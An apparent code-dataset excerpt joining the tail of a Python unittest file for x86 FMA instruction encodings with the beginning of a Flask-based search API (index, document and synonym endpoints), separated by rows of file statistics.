self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x9E, 0xCB]), VFNMSUB132PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x9E, 0x4C, 0xC2, 0xB3]), VFNMSUB132PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0x9E, 0xD4]), VFNMSUB132PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0x9E, 0x54, 0xD9, 0xBE]), VFNMSUB132PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMSUB213PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xAE, 0xCB]), VFNMSUB213PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xAE, 0x4C, 0xC2, 0xB3]), VFNMSUB213PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xAE, 0xD4]), VFNMSUB213PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xAE, 0x54, 0xD9, 0xBE]), VFNMSUB213PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMSUB231PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xBE, 0xCB]), VFNMSUB231PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xBE, 0x4C, 0xC2, 0xB3]), VFNMSUB231PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xBE, 0xD4]), VFNMSUB231PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xBE, 0x54, 0xD9, 0xBE]), VFNMSUB231PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMSUBPD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7D, 0xC9, 0x30]), VFNMSUBPD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7D, 0x4C, 0xC2, 0xB3, 0x30]), VFNMSUBPD(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x7D, 0x4C, 0xC2, 0xB3, 0x90]), VFNMSUBPD(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x7D, 0xD2, 0x40]), VFNMSUBPD(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x7D, 0x54, 0xD9, 0xBE, 0x40]), VFNMSUBPD(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x7D, 0x54, 0xD9, 0xBE, 0xA0]), VFNMSUBPD(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMADDSUB132PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x96, 0xCB]), VFMADDSUB132PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x96, 0x4C, 0xC2, 0xB3]), VFMADDSUB132PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0x96, 0xD4]), VFMADDSUB132PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0x96, 0x54, 0xD9, 0xBE]), VFMADDSUB132PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDSUB213PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xA6, 0xCB]), VFMADDSUB213PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xA6, 0x4C, 0xC2, 0xB3]), VFMADDSUB213PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xA6, 0xD4]), VFMADDSUB213PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xA6, 0x54, 0xD9, 0xBE]), VFMADDSUB213PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDSUB231PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xB6, 0xCB]), VFMADDSUB231PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xB6, 0x4C, 0xC2, 0xB3]), VFMADDSUB231PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xB6, 0xD4]), VFMADDSUB231PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xB6, 0x54, 0xD9, 0xBE]), VFMADDSUB231PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDSUBPS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5C, 0xC9, 0x30]), VFMADDSUBPS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5C, 0x4C, 0xC2, 0xB3, 0x30]), VFMADDSUBPS(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x5C, 0x4C, 0xC2, 0xB3, 0x90]), VFMADDSUBPS(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5C, 0xD2, 0x40]), VFMADDSUBPS(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5C, 0x54, 0xD9, 0xBE, 0x40]), VFMADDSUBPS(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x5C, 0x54, 0xD9, 0xBE, 0xA0]), VFMADDSUBPS(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMSUBADD132PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x97, 0xCB]), VFMSUBADD132PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x97, 0x4C, 0xC2, 0xB3]), VFMSUBADD132PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0x97, 0xD4]), VFMSUBADD132PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0x97, 0x54, 0xD9, 0xBE]), VFMSUBADD132PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBADD213PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xA7, 0xCB]), VFMSUBADD213PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xA7, 0x4C, 0xC2, 0xB3]), VFMSUBADD213PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xA7, 0xD4]), VFMSUBADD213PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xA7, 0x54, 0xD9, 0xBE]), VFMSUBADD213PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBADD231PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xB7, 0xCB]), VFMSUBADD231PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xB7, 0x4C, 0xC2, 0xB3]), VFMSUBADD231PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xB7, 0xD4]), VFMSUBADD231PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xB7, 0x54, 0xD9, 0xBE]), VFMSUBADD231PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBADDPS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5E, 0xC9, 0x30]), VFMSUBADDPS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5E, 0x4C, 0xC2, 0xB3, 0x30]), VFMSUBADDPS(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x5E, 0x4C, 0xC2, 0xB3, 0x90]), VFMSUBADDPS(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5E, 0xD2, 0x40]), VFMSUBADDPS(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5E, 0x54, 0xD9, 0xBE, 0x40]), VFMSUBADDPS(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x5E, 0x54, 0xD9, 0xBE, 0xA0]), VFMSUBADDPS(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMADDSUB132PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x96, 0xCB]), VFMADDSUB132PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x96, 0x4C, 0xC2, 0xB3]), VFMADDSUB132PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0x96, 0xD4]), VFMADDSUB132PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0x96, 0x54, 0xD9, 0xBE]), VFMADDSUB132PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDSUB213PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xA6, 0xCB]), VFMADDSUB213PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xA6, 0x4C, 0xC2, 0xB3]), VFMADDSUB213PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xA6, 0xD4]), VFMADDSUB213PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xA6, 0x54, 0xD9, 0xBE]), VFMADDSUB213PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDSUB231PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xB6, 0xCB]), VFMADDSUB231PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xB6, 0x4C, 0xC2, 0xB3]), VFMADDSUB231PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xB6, 0xD4]), VFMADDSUB231PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xB6, 0x54, 0xD9, 0xBE]), VFMADDSUB231PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDSUBPD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5D, 0xC9, 0x30]), VFMADDSUBPD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5D, 0x4C, 0xC2, 0xB3, 0x30]), VFMADDSUBPD(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x5D, 0x4C, 0xC2, 0xB3, 0x90]), VFMADDSUBPD(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5D, 0xD2, 0x40]), VFMADDSUBPD(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5D, 0x54, 0xD9, 0xBE, 0x40]), VFMADDSUBPD(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x5D, 0x54, 0xD9, 0xBE, 0xA0]), VFMADDSUBPD(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMSUBADD132PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x97, 0xCB]), VFMSUBADD132PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x97, 0x4C, 0xC2, 0xB3]), VFMSUBADD132PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0x97, 0xD4]), VFMSUBADD132PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0x97, 0x54, 0xD9, 0xBE]), VFMSUBADD132PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBADD213PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xA7, 0xCB]), VFMSUBADD213PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xA7, 0x4C, 0xC2, 0xB3]), VFMSUBADD213PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xA7, 0xD4]), VFMSUBADD213PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xA7, 0x54, 0xD9, 0xBE]), VFMSUBADD213PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBADD231PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xB7, 0xCB]), VFMSUBADD231PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xB7, 0x4C, 0xC2, 0xB3]), VFMSUBADD231PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xB7, 0xD4]), VFMSUBADD231PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xB7, 0x54, 0xD9, 0xBE]), VFMSUBADD231PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBADDPD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5F, 0xC9, 0x30]), VFMSUBADDPD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x5F, 0x4C, 0xC2, 0xB3, 0x30]), VFMSUBADDPD(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x5F, 0x4C, 0xC2, 0xB3, 0x90]), VFMSUBADDPD(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5F, 0xD2, 0x40]), VFMSUBADDPD(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x5F, 0x54, 0xD9, 0xBE, 0x40]), VFMSUBADDPD(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x5F, 0x54, 0xD9, 0xBE, 0xA0]), VFMSUBADDPD(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
| 69.815235
| 151
| 0.676177
| 5,486
| 43,076
| 5.308604
| 0.05268
| 0.148336
| 0.237338
| 0.276895
| 0.744394
| 0.715551
| 0.715551
| 0.710057
| 0.706761
| 0.636816
| 0
| 0.180983
| 0.153032
| 43,076
| 616
| 152
| 69.928571
| 0.617257
| 0.00318
| 0
| 0.177778
| 1
| 0
| 0
| 0
| 0
| 0
| 0.172921
| 0
| 0.64
| 1
| 0.177778
| false
| 0
| 0.004444
| 0
| 0.36
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| null | 0
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|
0
| 9
|
07538a965081fa838931906c32fee0d13330f84e
| 30,246
|
py
|
Python
|
main.py
|
aikloy/search
|
e60e335885dea526a9d6b4b1833e68ca381c9b02
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
aikloy/search
|
e60e335885dea526a9d6b4b1833e68ca381c9b02
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
aikloy/search
|
e60e335885dea526a9d6b4b1833e68ca381c9b02
|
[
"Apache-2.0"
] | null | null | null |
import os
import argparse
from flask import Flask, request, make_response
from flask_restplus import Resource, Api, fields
from apscheduler.schedulers.background import BackgroundScheduler
from Class.enum_class import Result
from Function.InnerFunction.get_request_function import get_request
from Variable.request_variable import RESPONSE_OK, RESPONSE_OK_WITH_NO_CONTENT, RESPONSE_INVALID_INPUT, RESPONSE_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR,\
INDEX_ALREADY_EXIST, INDEX_NOT_EXIST, COLUMN_ALREADY_EXIST, COLUMN_NOT_EXIST, DOCUMENT_ALREADY_EXIST, DOCUMENT_NOT_EXIST,\
POST_INDEX_CONTROL_AND_INSERT_DOCUMENT, POST_REBUILD_SYNONYM, DELETE_REBUILD_SYNONYM, PUT_CONTROL_DOCUMENT, SEARCH_INITIAL_CHARACTER, AUTO_COMPLETE, SEARCH_COSINE_SIMILARITY, SEARCH_WORD_COUNT
from Function.control_function import load_matrix,\
check_index_exist, check_doc_exist,\
get_index, get_document, get_document_count, get_document_by_id,\
create_index_and_insert_column, insert_documents, get_synonym, insert_synonym, delete_synonym,\
update_document,\
drop_index, delete_document,\
save_data_scheduler,\
find_sentence_by_initial, get_initial_count, auto_complete, search_with_cosine_similarity, search_with_word_count
parser = argparse.ArgumentParser()
parser.add_argument("--host", type=str, action="store", required=False, default="0.0.0.0", help="flask host")
parser.add_argument("--port", type=int, action="store", required=False, default=12001, help="flask port")
parser.add_argument("--scheduler_time", type=int, action="store", required=False, default=600, help="scheduler time (seconds)")
args = parser.parse_args()
current_dir_path = os.path.dirname(os.path.realpath(__file__))
application = Flask(__name__)
api = Api(application, default="Search", doc="/Search/Swagger/", title="Search API", description="Search API")
TDM = load_matrix()
##################################################################################################################################
namespace = api.namespace("Search/<index_name>/exist", description="index 존재여부 확인")
@namespace.route("")
class CheckIndexExist(Resource):
@staticmethod
def get(index_name):
result = check_index_exist(TDM, index_name)
return result, RESPONSE_OK
##################################################################################################################################
namespace = api.namespace("Search/<index_name>/<document_id>/exist", description="document 존재여부 확인")
@namespace.route("")
class CheckDocumentExist(Resource):
@staticmethod
def get(index_name, document_id):
content, target, result = check_doc_exist(TDM, index_name, document_id)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
##################################################################################################################################
namespace = api.namespace("Search/index", description="존재하는 index 가져오기")
@namespace.route("")
class GetAllIndex(Resource):
@staticmethod
def get():
result = get_index(TDM)
if result:
return result, RESPONSE_OK
else:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
##################################################################################################################################
namespace = api.namespace("Search/<index_name>/document", description="특정 index에 존재하는 document 가져오기")
@namespace.route("")
class GetAllDocument(Resource):
@staticmethod
def get(index_name):
content, target, result = get_document(TDM, index_name)
if content is not None:
if content:
return content, RESPONSE_OK
else:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
##################################################################################################################################
namespace = api.namespace("Search/<index_name>/document/count", description="특정 index에 존재하는 document의 개수 가져오기")
@namespace.route("")
class GetDocumentCount(Resource):
@staticmethod
def get(index_name):
content, target, result = get_document_count(TDM, index_name)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
##################################################################################################################################
namespace = api.namespace("Search/<index_name>", description="index 생성/삭제 및 document 추가")
@namespace.route("")
class IndexControlAndInsertDocument(Resource):
@staticmethod
@api.expect([
api.model("Document", {"id": fields.String(required=False)})
])
def post(index_name):
request_body = get_request(request)
if isinstance(request_body, list):
for doc in request_body:
if "id" not in doc:
return POST_INDEX_CONTROL_AND_INSERT_DOCUMENT, RESPONSE_INVALID_INPUT
content, target, result = insert_documents(TDM, index_name, request_body)
if target is None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
if content:
return DOCUMENT_ALREADY_EXIST, RESPONSE_OK
else:
return DOCUMENT_ALREADY_EXIST, RESPONSE_ALREADY_EXIST
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
content, target, result = create_index_and_insert_column(TDM, index_name)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
@staticmethod
def delete(index_name):
content, target, result = drop_index(TDM, index_name)
if content is not None:
return content, RESPONSE_OK
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
##################################################################################################################################
namespace = api.namespace("Search/<index_name>/synonym", description="synonym 정보 가져오기/추가/삭제")
@namespace.route("")
class RebuildSynonym(Resource):
@staticmethod
def get(index_name):
content, target, result = get_synonym(TDM, index_name)
if content is not None:
if content:
return content, RESPONSE_OK
else:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
@staticmethod
@api.expect([api.model("SynonymDocument", {
"id": fields.String,
"keyword": fields.String,
"words": fields.List(fields.String)
})])
def post(index_name):
request_body = get_request(request)
if isinstance(request_body, list):
for doc in request_body:
if not ("id" in doc and isinstance(doc["id"], str) and "keyword" in doc and isinstance(doc["keyword"], str) and "words" in doc and isinstance(doc["words"], list)):
return POST_REBUILD_SYNONYM, RESPONSE_INVALID_INPUT
else:
for word in doc["words"]:
if not isinstance(word, str):
return POST_REBUILD_SYNONYM, RESPONSE_INVALID_INPUT
content, target, result = insert_synonym(TDM, index_name, request_body)
if target is None:
if content:
return content, RESPONSE_OK
else:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
if content:
return DOCUMENT_ALREADY_EXIST, RESPONSE_OK
else:
return DOCUMENT_ALREADY_EXIST, RESPONSE_ALREADY_EXIST
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return POST_REBUILD_SYNONYM, RESPONSE_INVALID_INPUT
@staticmethod
@api.expect(api.model("RebuildSynonymDelete", {
"document_id": fields.String
}))
def delete(index_name):
request_body = get_request(request)
if "document_id" in request_body and isinstance(request_body["document_id"], str):
content, target, result = delete_synonym(TDM, index_name, request_body["document_id"])
if content is not None:
if content:
return content, RESPONSE_OK
else:
resp = make_response('', RESPONSE_OK_WITH_NO_CONTENT)
resp.headers['Content-Length'] = 0
return resp
else:
if target == Result.INDEX:
if result is True:
return INDEX_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return INDEX_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.COLUMN:
if result is True:
return COLUMN_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return COLUMN_NOT_EXIST, RESPONSE_INTERNAL_ERROR
elif target == Result.DOCUMENT:
if result is True:
return DOCUMENT_ALREADY_EXIST, RESPONSE_INTERNAL_ERROR
else:
return DOCUMENT_NOT_EXIST, RESPONSE_INTERNAL_ERROR
else:
return None, RESPONSE_INTERNAL_ERROR
else:
return DELETE_REBUILD_SYNONYM, RESPONSE_INVALID_INPUT
##################################################################################################################################
namespace = api.namespace("Search/<index_name>/<document_id>", description="document 가져오기/수정/삭제")
@namespace.route("")
class ControlDocument(Resource):
@staticmethod
